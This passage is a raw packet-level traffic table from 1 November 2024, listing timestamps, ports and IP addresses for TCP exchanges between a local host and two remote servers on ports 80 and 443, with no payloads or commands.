Nov 1, 2024 12:35:02.836123943 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836128950 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836141109 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836152077 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836155891 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836200953 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836313963 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836325884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836348057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836375952 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836466074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836477995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836494923 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836503983 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836507082 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.836525917 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836554050 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.836961031 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837001085 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837176085 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837187052 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837198019 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837209940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837212086 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837229967 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837255001 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837480068 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837491989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837503910 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837519884 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837534904 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837929010 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837956905 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837970972 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837975979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.837981939 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.837997913 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.838001966 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.838011026 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.838030100 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.838047028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.869904041 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.870212078 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.875916004 CET	80	50050	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.875981092 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.876617908 CET	50050	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.880865097 CET	80	50048	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.880908012 CET	50048	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.882375002 CET	80	50050	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898332119 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898344994 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898355961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898367882 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898379087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898387909 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.898391008 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898408890 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898411036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.898525953 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.898571968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898590088 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.898612976 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.898638964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.907635927 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.907655954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.907668114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.907679081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.907691956 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.907715082 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911521912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911572933 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911592007 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911602974 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911629915 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911643982 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911698103 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911710024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911721945 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911731005 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911734104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911746025 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911746025 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.911771059 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.911798954 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.912009001 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912049055 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.912081003 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912091970 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912117958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.912131071 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.912220001 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912230968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912240982 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912255049 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912264109 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.912295103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.912405968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.912444115 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.959918976 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.959932089 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.959979057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.959991932 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960026026 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960037947 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960048914 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960061073 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960062981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960072041 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960093021 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960119009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960181952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960195065 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960218906 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960244894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960437059 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960475922 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.960948944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.960989952 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961016893 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961029053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961054087 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961076021 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961098909 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961112022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961123943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961137056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961143970 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961163044 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961186886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961342096 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961353064 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961383104 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961396933 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961570978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961581945 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961594105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961605072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961611032 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961622953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961630106 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961636066 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961648941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961662054 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961680889 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961704016 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.961779118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:02.961817026 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:02.987843037 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:02.987907887 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.989620924 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.989631891 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:02.989881992 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:02.994302034 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.994417906 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.994488001 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:02.994532108 CET	50049	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:02.994544983 CET	443	50049	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:03.022412062 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022471905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022492886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022505999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022528887 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022548914 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022588015 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022602081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022614002 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022619963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022628069 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022639036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022661924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022769928 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022782087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022794008 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.022804976 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.022833109 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.031147957 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.031199932 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.031917095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.031956911 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035051107 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035070896 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035084963 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035109997 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035134077 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035144091 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035147905 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035172939 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035201073 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035218954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035233021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035257101 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035278082 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035290003 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035326958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035406113 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035423040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035449028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035465002 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035470009 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035506964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035538912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035552025 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035562992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035583019 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035609961 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035933018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035947084 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035958052 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035969973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035974979 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.035984993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.035990000 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.036017895 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084556103 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084614038 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084634066 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084649086 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084670067 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084700108 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084743023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084755898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084769011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084775925 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084784031 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084800959 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084817886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084830999 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084918022 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084938049 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084964037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084964037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084978104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084989071 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.084991932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.084997892 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085005045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.085012913 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085021973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.085035086 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085037947 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.085048914 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085052013 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.085062981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085084915 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085103035 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.085272074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.085309982 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086321115 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086373091 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086396933 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086410999 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086436987 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086450100 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086556911 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086570978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086582899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086596012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086596966 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086616993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086646080 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086796045 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086810112 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086821079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.086837053 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.086859941 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150479078 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150494099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150506973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150521040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150535107 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150579929 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150620937 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150643110 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150660992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150661945 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150672913 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150674105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150687933 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150695086 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150702000 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150713921 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150713921 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.150733948 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150739908 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.150763035 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.159967899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.159990072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160010099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160022020 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160028934 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160034895 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160049915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160053015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160064936 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160096884 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160119057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160294056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160305977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160317898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160326004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160331964 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160358906 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160387039 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160751104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160763979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160777092 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160787106 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.160799980 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.160825968 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.161705017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.161767006 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.161771059 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.161781073 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.161794901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.161807060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.161808014 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.161833048 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.161952019 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209470987 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209486008 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209497929 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209511995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209525108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209556103 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209568977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209584951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209595919 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209599972 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209609985 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209623098 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209625006 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209635973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209639072 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209669113 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209682941 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:03.209842920 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209856033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209867954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209880114 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:03.209892035 CET	80	50043	185.215.113.16	192.168.2.7
